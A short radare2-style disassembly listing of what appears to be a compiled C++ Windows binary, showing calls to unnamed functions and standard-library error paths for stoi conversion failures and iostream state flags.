jne 0x140005090
mov rdx, r12
lea rcx, [rbp + 0x20]
call fcn.140007ff0
mov r8d, 2
lea rdx, [0x14006c964]
lea rcx, [rbp + 0x20]
call fcn.140007ff0
mov r14, qword [0x1400797f0]
mov rcx, r14
mov rdx, r14
movabs r8, 0x7fffffffffffffff
mov rax, r8
sub rax, r14
cmp rax, 9
jae 0x1400040e0
call fcn.140001460
int3
call fcn.14003bf08
int3
call fcn.1400013c0
nop
call fcn.14003bf08
nop
call fcn.14003bf08
nop
call fcn.14003bf08
nop
call fcn.14003bf08
nop
call fcn.14003bf08
nop
call fcn.14003bf08
int3
call fcn.140008450
nop
call fcn.14003bf08
nop
call fcn.14003bf08
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.14000a9f0
int3
lea rcx, str.invalid_stoi_argument
call fcn.14000a9a8
int3
call fcn.140008450
int3
test al, 4
je 0x140005158
lea rbx, str.ios_base::badbit_set
jmp 0x14000516c
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x58]
call fcn.140001670
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140002330
lea rdx, [0x140074bc0]
lea rcx, [rsp + 0x38]
call fcn.140033cac
nop
call fcn.14003bf08
nop
call fcn.14003bf08
nop
call fcn.14003bf08
int3